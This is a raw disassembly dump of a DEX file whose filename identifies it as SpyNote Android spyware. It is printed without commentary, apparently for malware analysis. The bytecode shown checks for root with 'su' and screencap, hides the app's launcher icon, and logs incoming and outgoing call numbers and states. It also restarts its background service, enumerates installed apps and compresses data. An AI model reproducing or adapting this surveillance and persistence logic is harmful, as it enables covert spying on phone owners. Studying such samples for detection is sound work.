File spynote_11911c2e1baaab2fbc457932fa85ba68d2b6fa66c42a64fe8254923fe35637b9.dex
Function:
    00086c90
    00086c90cmf0.c3b5bm90zq.patch.C7::d():
    00086ca0invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
    00086ca6move-result-object v0
    00086ca8const-string v1, "su"
    00086cacinvoke-virtual {v0, v1}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
    00086cb2move-result-object v0
    00086cb4new-instance v1, Ljava/io/DataOutputStream;
    00086cb8invoke-virtual {v0}, Ljava/lang/Process;->getOutputStream()Ljava/io/OutputStream;
    00086cbemove-result-object v2
    00086cc0invoke-direct {v1, v2}, Ljava/io/DataOutputStream;-><init>(Ljava/io/OutputStream;)V
    00086cc6const-string v2, "/system/bin/screencap -p /sdcard/rootSU.png"
    00086ccaconst-string v3, "ASCII"
    00086cceinvoke-virtual {v2, v3}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B
    00086cd4move-result-object v2
    00086cd6invoke-virtual {v1, v2}, Ljava/io/DataOutputStream;->write([B)V
    00086cdcinvoke-virtual {v1}, Ljava/io/DataOutputStream;->flush()V
    00086ce2invoke-virtual {v1}, Ljava/io/DataOutputStream;->close()V
    00086ce8invoke-virtual {v0}, Ljava/lang/Process;->waitFor()I
    00086ceeinvoke-virtual {v0}, Ljava/lang/Process;->exitValue()I
    00086cf4move-result v0
    00086cf6if-nez v0, :cond_3b
    00086cfaiget-object v0, v4, Lcmf0/c3b5bm90zq/patch/C7;->b:Lcmf0/c3b5bm90zq/patch/a;
    00086cfeinvoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    00086d04move-result-object v1
    00086d06const-string v2, "1"
    00086d0aconst-string v3, "root"
    00086d0einvoke-virtual {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
    00086d14goto :goto_44
    00086d16iget-object v0, v4, Lcmf0/c3b5bm90zq/patch/C7;->b:Lcmf0/c3b5bm90zq/patch/a;
    00086d1ainvoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    00086d20move-result-object v1
    00086d22const-string v2, "0"
    00086d26goto :goto_35
    00086d28return-void
    00086c90
    00086d2a
    00086d2a struct code_item_padding
    00086d2a padding uint16 0x0000
    00086d2c
    00086d2c struct try_item
    00086d2c start_addr uint32 0x86ca0
    00086d30 insn_count int 36
    00086d32 handler_off uint16 0x86d3d
    00086d34
    00086d34 struct try_item
    00086d34 start_addr uint32 0x86ce8
    00086d38 insn_count int 31
    00086d3a handler_off uint16 0x86d41
    00086d3c
    00086d3c struct encoded_catch_handler_list
    00086d3c size int 2
    00086d3d
    00086d3d struct encoded_catch_handler ← 0x86d32
    00086d3d size int64 1
    00086d3e handlers[0].type_idx int 0x5940
    00086d40 handlers[0].addr uint32 0x86d28
    00086d41
    00086d41 struct encoded_catch_handler ← 0x86d3a
    00086d41 size int64 2
    00086d42 handlers[0].type_idx int 0x59ac
    00086d44 handlers[0].addr uint32 0x86d28
    00086d45 handlers[1].type_idx int 0x5940
    00086d47 handlers[1].addr uint32 0x86d28
    00086d48
    00086d48cmf0.c3b5bm90zq.patch.C7::a():
    00086d58invoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C7;->getResources()Landroid/content/res/Resources;
    00086d5emove-result-object v0
    00086d60const v1, 0x7f0c0021
    00086d66invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00086d6cmove-result-object v0
    00086d6econst/4 v1, 0x0
    00086d70invoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
    00086d76move-result v0
    00086d78const/16 v1, 0x31
    00086d7cif-ne v0, v1, :cond_2e
    00086d80invoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C7;->getPackageManager()Landroid/content/pm/PackageManager;
    00086d86move-result-object v0
    00086d88new-instance v1, Landroid/content/ComponentName;
    00086d8cinvoke-virtual {v4}, Lcmf0/c3b5bm90zq/patch/C7;->getApplicationContext()Landroid/content/Context;
    00086d92move-result-object v2
    00086d94const-class v3, Lcmf0/c3b5bm90zq/patch/C7;
    00086d98invoke-direct {v1, v2, v3}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00086d9einvoke-virtual {v0, v1}, Landroid/content/pm/PackageManager;->getComponentEnabledSetting(Landroid/content/ComponentName;)I
    00086da4move-result v2
    00086da6const/4 v3, 0x2
    00086da8if-eq v2, v3, :cond_2e
    00086dacconst/4 v2, 0x1
    00086daeinvoke-virtual {v0, v1, v3, v2}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
    00086db4return-void
    00086d48
    00086db6
    00086db6 struct code_item_padding
    00086db6 padding uint16 0x0000
    00086db8
    00086db8 struct try_item
    00086db8 start_addr uint32 0x86d58
    00086dbc insn_count int 46
    00086dbe handler_off uint16 0x86dc1
    00086dc0
    00086dc0 struct encoded_catch_handler_list
    00086dc0 size int 1
    00086dc1
    00086dc1 struct encoded_catch_handler ← 0x86dbe
    00086dc1 size int64 1
    00086dc2 handlers[0].type_idx int 0x5994
    00086dc4 handlers[0].addr uint32 0x86db4
    00086dc5
    00086dc5 // align 0x8
    00086dc8
    00086dc8cmf0.c3b5bm90zq.patch.C7::b():
    00086dd8new-instance v0, Ljava/lang/Thread;
    00086ddcnew-instance v1, Lcmf0/c3b5bm90zq/patch/C7$1;
    00086de0invoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C7$1;-><init>(Lcmf0/c3b5bm90zq/patch/C7;)V
    00086de6invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00086decinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00086df2return-void
    00086dc8
    00086df4
    00086df4cmf0.c3b5bm90zq.patch.C7::onActivityResult(int, int, android.content.Intent):
    00086e04invoke-super {v0, v1, v2, v3}, Landroid/app/Activity;->onActivityResult(IILandroid/content/Intent;)V
    00086e0areturn-void
    00086df4
    00086e0c
    00086e0ccmf0.c3b5bm90zq.patch.C7::onBackPressed():
    00086e1cinvoke-super {v0}, Landroid/app/Activity;->onBackPressed()V
    00086e22return-void
    00086e0c
    00086e24
    00086e24cmf0.c3b5bm90zq.patch.C7::onCreate(android.os.Bundle):
    00086e34invoke-super {v0, v1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
    00086e3ainvoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C7;->c()V
    00086e40return-void
    00086e24
    00086e42
    00086e42 // align 0x4
    00086e44
    00086e44cmf0.c3b5bm90zq.patch.C7::onPause():
    00086e54invoke-super {v0}, Landroid/app/Activity;->onPause()V
    00086e5areturn-void
    00086e44
    00086e5c
    00086e5ccmf0.c3b5bm90zq.patch.C7::onResume():
    00086e6cinvoke-super {v0}, Landroid/app/Activity;->onResume()V
    00086e72invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C7;->c()V
    00086e78return-void
    00086e5c
    00086e7a
    00086e7a // align 0x4
    00086e7c
    00086e7ccmf0.c3b5bm90zq.patch.C8::<init>():
    00086e8cinvoke-direct {v0}, Landroid/content/BroadcastReceiver;-><init>()V
    00086e92return-void
    00086e7c
    00086e94
    00086e94cmf0.c3b5bm90zq.patch.C8::a(java.lang.Class, android.content.Context):
    00086ea4const-string v0, "activity"
    00086ea8invoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00086eaemove-result-object v4
    00086eb0check-cast v4, Landroid/app/ActivityManager;
    00086eb4const v0, 0x7fffffff
    00086ebainvoke-virtual {v4, v0}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
    00086ec0move-result-object v4
    00086ec2invoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator;
    00086ec8move-result-object v4
    00086ecainvoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
    00086ed0move-result v0
    00086ed2if-eqz v0, :cond_31
    00086ed6invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
    00086edcmove-result-object v0
    00086edecheck-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;
    00086ee2invoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
    00086ee8move-result-object v1
    00086eeaiget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
    00086eeeinvoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
    00086ef4move-result-object v0
    00086ef6invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00086efcmove-result v0
    00086efeif-eqz v0, :cond_13
    00086f02const/4 v3, 0x1
    00086f04return v3
    00086f06const/4 v3, 0x0
    00086f08return v3
    00086e94
    00086f0a
    00086f0a // align 0x4
    00086f0c
    00086f0ccmf0.c3b5bm90zq.patch.C8::onReceive(android.content.Context, android.content.Intent):
    00086f1cconst-class v3, Lcmf0/c3b5bm90zq/patch/C11;
    00086f20invoke-virtual {v1, v3, v2}, Lcmf0/c3b5bm90zq/patch/C8;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    00086f26move-result v3
    00086f28if-nez v3, :cond_12
    00086f2cnew-instance v3, Landroid/content/Intent;
    00086f30const-class v0, Lcmf0/c3b5bm90zq/patch/C11;
    00086f34invoke-direct {v3, v2, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00086f3ainvoke-virtual {v2, v3}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
    00086f40return-void
    00086f0c
    00086f42
    00086f42 struct code_item_padding
    00086f42 padding uint16 0x0000
    00086f44
    00086f44 struct try_item
    00086f44 start_addr uint32 0x86f1c
    00086f48 insn_count int 18
    00086f4a handler_off uint16 0x86f4d
    00086f4c
    00086f4c struct encoded_catch_handler_list
    00086f4c size int 1
    00086f4d
    00086f4d struct encoded_catch_handler ← 0x86f4a
    00086f4d size int64 1
    00086f4e handlers[0].type_idx int 0x5994
    00086f50 handlers[0].addr uint32 0x86f40
    00086f51
    00086f51 // align 0x4
    00086f54
    00086f54cmf0.c3b5bm90zq.patch.C9::<clinit>():
    00086f64return-void
    00086f54
    00086f66
    00086f66 // align 0x8
    00086f68
    00086f68cmf0.c3b5bm90zq.patch.C9::<init>():
    00086f78invoke-direct {v0}, Landroid/content/BroadcastReceiver;-><init>()V
    00086f7ereturn-void
    00086f68
    00086f80
    00086f80cmf0.c3b5bm90zq.patch.C9::a(int, java.lang.String):
    00086f90sget v0, Lcmf0/c3b5bm90zq/patch/C9;->a:I
    00086f94if-ne v0, v2, :cond_5
    00086f98return-void
    00086f9aconst/4 v0, 0x1
    00086f9cpacked-switch v2, :pswitch_data_90
    00086fa2goto/16 :goto_8d
    00086fa6sget v3, Lcmf0/c3b5bm90zq/patch/C9;->a:I
    00086faaif-eq v3, v0, :cond_8d
    00086faeconst/4 v3, 0x0
    00086fb0sput-boolean v3, Lcmf0/c3b5bm90zq/patch/C9;->b:Z
    00086fb4new-instance v3, Ljava/lang/StringBuilder;
    00086fb8invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    00086fbeconst-string v0, "Out Call Started["
    00086fc2invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00086fc8sget-object v0, Lcmf0/c3b5bm90zq/patch/C9;->c:Ljava/lang/String;
    00086fccinvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00086fd2const-string v0, "]"
    00086fd6invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00086fdcinvoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00086fe2move-result-object v3
    00086fe4sput-object v3, Lcmf0/c3b5bm90zq/patch/C11;->c:Ljava/lang/String;
    00086fe8goto :goto_8d
    00086feasput-boolean v0, Lcmf0/c3b5bm90zq/patch/C9;->b:Z
    00086feesput-object v3, Lcmf0/c3b5bm90zq/patch/C9;->c:Ljava/lang/String;
    00086ff2new-instance v3, Ljava/lang/StringBuilder;
    00086ff6invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    00086ffcconst-string v0, "In Call Started["
    00087000invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087006sget-object v0, Lcmf0/c3b5bm90zq/patch/C9;->c:Ljava/lang/String;
    0008700ainvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087010const-string v0, "]"
    00087014invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008701agoto :goto_26
    0008701csget v3, Lcmf0/c3b5bm90zq/patch/C9;->a:I
    00087020if-ne v3, v0, :cond_5f
    00087024new-instance v3, Ljava/lang/StringBuilder;
    00087028invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    0008702econst-string v0, "Missed Call["
    00087032invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087038sget-object v0, Lcmf0/c3b5bm90zq/patch/C9;->c:Ljava/lang/String;
    0008703cinvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087042const-string v0, "]"
    00087046invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008704cgoto :goto_26
    0008704esget-boolean v3, Lcmf0/c3b5bm90zq/patch/C9;->b:Z
    00087052if-eqz v3, :cond_78
    00087056new-instance v3, Ljava/lang/StringBuilder;
    0008705ainvoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    00087060const-string v0, "In Call Ended["
    00087064invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008706asget-object v0, Lcmf0/c3b5bm90zq/patch/C9;->c:Ljava/lang/String;
    0008706einvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087074const-string v0, "]"
    00087078invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008707egoto :goto_26
    00087080new-instance v3, Ljava/lang/StringBuilder;
    00087084invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    0008708aconst-string v0, "Out Call Ended["
    0008708einvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00087094sget-object v0, Lcmf0/c3b5bm90zq/patch/C9;->c:Ljava/lang/String;
    00087098invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008709econst-string v0, "]"
    000870a2invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000870a8goto :goto_26
    000870aasput v2, Lcmf0/c3b5bm90zq/patch/C9;->a:I
    000870aereturn-void
    000870b0.packed-switch 0x0
    00086f80
    000870c4
    000870c4 struct try_item
    000870c4 start_addr uint32 0x86f90
    000870c8 insn_count int 143
    000870ca handler_off uint16 0x870cd
    000870cc
    000870cc struct encoded_catch_handler_list
    000870cc size int 1
    000870cd
    000870cd struct encoded_catch_handler ← 0x870ca
    000870cd size int64 1
    000870ce handlers[0].type_idx int 0x5994
    000870d0 handlers[0].addr uint32 0x870ae
    000870d2
    000870d2 // align 0x4
    000870d4
    000870d4cmf0.c3b5bm90zq.patch.C9::a(java.lang.Class, android.content.Context):
    000870e4const-string v0, "activity"
    000870e8invoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    000870eemove-result-object v4
    000870f0check-cast v4, Landroid/app/ActivityManager;
    000870f4const v0, 0x7fffffff
    000870fainvoke-virtual {v4, v0}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
    00087100move-result-object v4
    00087102invoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator;
    00087108move-result-object v4
    0008710ainvoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
    00087110move-result v0
    00087112if-eqz v0, :cond_31
    00087116invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
    0008711cmove-result-object v0
    0008711echeck-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;
    00087122invoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
    00087128move-result-object v1
    0008712aiget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
    0008712einvoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
    00087134move-result-object v0
    00087136invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    0008713cmove-result v0
    0008713eif-eqz v0, :cond_13
    00087142const/4 v3, 0x1
    00087144return v3
    00087146const/4 v3, 0x0
    00087148return v3
    000870d4
    0008714a
    0008714a // align 0x4
    0008714c
    0008714ccmf0.c3b5bm90zq.patch.C9::onReceive(android.content.Context, android.content.Intent):
    0008715cinvoke-virtual {v5}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00087162move-result-object v0
    00087164const-string v1, "android.intent.action.NEW_OUTGOING_CALL"
    00087168invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    0008716emove-result v0
    00087170if-eqz v0, :cond_1d
    00087174invoke-virtual {v5}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
    0008717amove-result-object v5
    0008717cconst-string v0, "android.intent.extra.PHONE_NUMBER"
    00087180invoke-virtual {v5, v0}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
    00087186move-result-object v5
    00087188sput-object v5, Lcmf0/c3b5bm90zq/patch/C9;->c:Ljava/lang/String;
    0008718csget-object v5, Lcmf0/c3b5bm90zq/patch/C9;->c:Ljava/lang/String;
    00087190sput-object v5, Lcmf0/c3b5bm90zq/patch/C11;->c:Ljava/lang/String;
    00087194goto :goto_51
    00087196invoke-virtual {v5}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
    0008719cmove-result-object v0
    0008719econst-string v1, "state"
    000871a2invoke-virtual {v0, v1}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
    000871a8move-result-object v0
    000871aainvoke-virtual {v5}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
    000871b0move-result-object v5
    000871b2const-string v1, "incoming_number"
    000871b6invoke-virtual {v5, v1}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
    000871bcmove-result-object v5
    000871besget-object v1, Landroid/telephony/TelephonyManager;->EXTRA_STATE_IDLE:Ljava/lang/String;
    000871c2invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    000871c8move-result v1
    000871caconst/4 v2, 0x0
    000871ccif-eqz v1, :cond_3b
    000871d0goto :goto_4e
    000871d2sget-object v1, Landroid/telephony/TelephonyManager;->EXTRA_STATE_OFFHOOK:Ljava/lang/String;
    000871d6invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    000871dcmove-result v1
    000871deif-eqz v1, :cond_45
    000871e2const/4 v2, 0x2
    000871e4goto :goto_4e
    000871e6sget-object v1, Landroid/telephony/TelephonyManager;->EXTRA_STATE_RINGING:Ljava/lang/String;
    000871eainvoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    000871f0move-result v0
    000871f2if-eqz v0, :cond_4e
    000871f6const/4 v2, 0x1
    000871f8invoke-virtual {v3, v2, v5}, Lcmf0/c3b5bm90zq/patch/C9;->a(ILjava/lang/String;)V
    000871feconst-class v5, Lcmf0/c3b5bm90zq/patch/C11;
    00087202invoke-virtual {v3, v5, v4}, Lcmf0/c3b5bm90zq/patch/C9;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    00087208move-result v5
    0008720aif-nez v5, :cond_63
    0008720enew-instance v5, Landroid/content/Intent;
    00087212const-class v0, Lcmf0/c3b5bm90zq/patch/C11;
    00087216invoke-direct {v5, v4, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    0008721cinvoke-virtual {v4, v5}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
    00087222return-void
    0008714c
    00087224
    00087224 struct try_item
    00087224 start_addr uint32 0x8715c
    00087228 insn_count int 81
    0008722a handler_off uint16 0x87235
    0008722c
    0008722c struct try_item
    0008722c start_addr uint32 0x871fe
    00087230 insn_count int 18
    00087232 handler_off uint16 0x87239
    00087234
    00087234 struct encoded_catch_handler_list
    00087234 size int 2
    00087235
    00087235 struct encoded_catch_handler ← 0x8722a
    00087235 size int64 1
    00087236 handlers[0].type_idx int 0x5994
    00087238 handlers[0].addr uint32 0x871fe
    00087239
    00087239 struct encoded_catch_handler ← 0x87232
    00087239 size int64 1
    0008723a handlers[0].type_idx int 0x5994
    0008723c handlers[0].addr uint32 0x87222
    0008723d
    0008723d // align 0x10
    00087240
    00087240cmf0.c3b5bm90zq.patch.a::<init>():
    00087250invoke-direct {v0}, Ljava/lang/Object;-><init>()V
    00087256return-void
    00087240
    00087258
    00087258cmf0.c3b5bm90zq.patch.a::a():
    00087268new-instance v0, Ljava/net/URL;
    0008726cconst-string v1, "https://www.google.com"
    00087270invoke-direct {v0, v1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
    00087276invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
    0008727cmove-result-object v0
    0008727einvoke-virtual {v0}, Ljava/net/URLConnection;->connect()V
    00087284invoke-virtual {v0}, Ljava/net/URLConnection;->getInputStream()Ljava/io/InputStream;
    0008728amove-result-object v0
    0008728cinvoke-virtual {v0}, Ljava/io/InputStream;->close()V
    00087292const/4 v0, 0x1
    00087294return v0
    00087296const/4 v0, 0x0
    00087298return v0
    0008729amove-exception v0
    0008729cnew-instance v1, Ljava/lang/RuntimeException;
    000872a0invoke-direct {v1, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/Throwable;)V
    000872a6throw v1
    00087258
    000872a8
    000872a8 struct try_item
    000872a8 start_addr uint32 0x87268
    000872ac insn_count int 21
    000872ae handler_off uint16 0x872b1
    000872b0
    000872b0 struct encoded_catch_handler_list
    000872b0 size int 1
    000872b1
    000872b1 struct encoded_catch_handler ← 0x872ae
    000872b1 size int64 2
    000872b2 handlers[0].type_idx int 0x5a3c
    000872b4 handlers[0].addr uint32 0x8729a
    000872b5 handlers[1].type_idx int 0x5940
    000872b7 handlers[1].addr uint32 0x87296
    000872b8
    000872b8cmf0.c3b5bm90zq.patch.a::a(byte[]):
    000872c8new-instance v0, Ljava/io/ByteArrayOutputStream;
    000872ccarray-length v1, v2
    000872ceinvoke-direct {v0, v1}, Ljava/io/ByteArrayOutputStream;-><init>(I)V
    000872d4new-instance v1, Ljava/util/zip/GZIPOutputStream;
    000872d8invoke-direct {v1, v0}, Ljava/util/zip/GZIPOutputStream;-><init>(Ljava/io/OutputStream;)V
    000872deinvoke-virtual {v1, v2}, Ljava/util/zip/GZIPOutputStream;->write([B)V
    000872e4invoke-virtual {v1}, Ljava/util/zip/GZIPOutputStream;->close()V
    000872eainvoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    000872f0move-result-object v2
    000872f2invoke-virtual {v0}, Ljava/io/ByteArrayOutputStream;->close()V
    000872f8return-object v2
    000872b8
    000872fa
    000872fa // align 0x4
    000872fc
    000872fccmf0.c3b5bm90zq.patch.a::f(android.content.Context):
    0008730cconst-string v0, "n/a"
    00087310new-instance v1, Ljava/lang/String;
    00087314invoke-direct {v1}, Ljava/lang/String;-><init>()V
    0008731aconst-string v2, "n/a"
    0008731econst-string v3, "n/a"
    00087322invoke-virtual {v14}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    00087328move-result-object v4
    0008732aconst/16 v5, 0x80
    0008732einvoke-virtual {v4, v5}, Landroid/content/pm/PackageManager;->getInstalledApplications(I)Ljava/util/List;
    00087334move-result-object v6
    00087336invoke-interface {v6}, Ljava/util/List;->size()I
    0008733cmove-result v7
    0008733econst/4 v8, 0x0
    00087340if-lez v7, :cond_fd
    00087344const/4 v7, 0x0
    00087346new-instance v9, Ljava/util/Random;
    0008734ainvoke-direct {v9}, Ljava/util/Random;-><init>()V
    00087350invoke-interface {v6}, Ljava/util/List;->size()I
    00087356move-result v10
    00087358const/4 v11, 0x1
    0008735asub-int/2addr v10, v11
    0008735cadd-int/lit8 v12, v10, 0x0
    00087360add-int/2addr v12, v11
    00087362invoke-virtual {v9, v12}, Ljava/util/Random;->nextInt(I)I
    00087368move-result v9
    0008736aadd-int/2addr v9, v8
    0008736cinvoke-interface {v6, v9}, Ljava/util/List;->get(I)Ljava/lang/Object;
    00087372move-result-object v12
    00087374check-cast v12, Landroid/content/pm/ApplicationInfo;
    00087378iget-object v12, v12, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
    0008737cinvoke-virtual {v4, v12}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
    00087382move-result-object v12
    00087384if-eqz v12, :cond_fa
    00087388invoke-interface {v6, v9}, Ljava/util/List;->get(I)Ljava/lang/Object;
    0008738emove-result-object v12
    00087390check-cast v12, Landroid/content/pm/ApplicationInfo;
    00087394iget-object v12, v12, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
    00087398invoke-virtual {v4, v12}, Landroid/content/pm/PackageManager;->getLaunchIntentForPackage(Ljava/lang/String;)Landroid/content/Intent;
    0008739emove-result-object v12
    000873a0const-string v13, ""
    000873a4invoke-virtual {v12, v13}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
    000873aamove-result v12
    000873acif-nez v12, :cond_fa
    000873b0invoke-interface {v6, v9}, Ljava/util/List;->get(I)Ljava/lang/Object;
    000873b6move-result-object v12
    000873b8check-cast v12, Landroid/content/pm/ApplicationInfo;
    000873bciget-object v12, v12, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
    000873c0invoke-virtual {v14}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
    000873c6move-result-object v13
    000873c8invoke-virtual {v12, v13}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    000873cemove-result v12
    000873d0if-nez v12, :cond_fa
    000873d4invoke-virtual {v14}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    000873damove-result-object v7
    000873dcinvoke-interface {v6, v9}, Ljava/util/List;->get(I)Ljava/lang/Object;
    000873e2move-result-object v10
    000873e4check-cast v10, Landroid/content/pm/ApplicationInfo;
    000873e8iget-object v10, v10, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
    000873ecinvoke-virtual {v7, v10, v5}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
    000873f2move-result-object v5
    000873f4invoke-virtual {v4, v5}, Landroid/content/pm/PackageManager;->getApplicationLabel(Landroid/content/pm/ApplicationInfo;)Ljava/lang/CharSequence;
    000873famove-result-object v7
    000873fcinvoke-interface {v7}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
    00087402move-result-object v7
    00087404iget-object v2, v5, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
    00087408invoke-interface {v6, v9}, Ljava/util/List;->get(I)Ljava/lang/Object;
    0008740emove-result-object v3
    00087410check-cast v3, Landroid/content/pm/ApplicationInfo;
    00087414iget-object v3, v3, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
    00087418invoke-interface {v6, v9}, Ljava/util/List;->get(I)Ljava/lang/Object;
    0008741emove-result-object v0
    00087420check-cast v0, Landroid/content/pm/ApplicationInfo;
    00087424iget-object v0, v0, Landroid/content/pm/ApplicationInfo;->packageName:Ljava/lang/String;
    00087428invoke-virtual {v4, v0}, Landroid/content/pm/PackageManager;->getApplicationIcon(Ljava/lang/String;)Landroid/graphics/drawable/Drawable;
    0008742emove-result-object v0
    00087430instance-of v4, v0, Landroid/graphics/drawable/BitmapDrawable;
    00087434const/4 v5, 0x2
    00087436const/16 v6, 0x32
    0008743aconst/16 v9, 0x90
    0008743eif-eqz v4, :cond_bd
    00087442if-eqz v0, :cond_ba
    00087446check-cast v0, Landroid/graphics/drawable/BitmapDrawable;
    0008744ainvoke-virtual {v0}, Landroid/graphics/drawable/BitmapDrawable;->getBitmap()Landroid/graphics/Bitmap;
    00087450move-result-object v0
    00087452invoke-static {v0, v9, v9, v11}, Landroid/graphics/Bitmap;->createScaledBitmap(Landroid/graphics/Bitmap;IIZ)Landroid/graphics/Bitmap;
    00087458move-result-object v0
    0008745anew-instance v4, Ljava/io/ByteArrayOutputStream;
    0008745einvoke-direct {v4}, Ljava/io/ByteArrayOutputStream;-><init>()V
    00087464sget-object v9, Landroid/graphics/Bitmap$CompressFormat;->PNG:Landroid/graphics/Bitmap$CompressFormat;
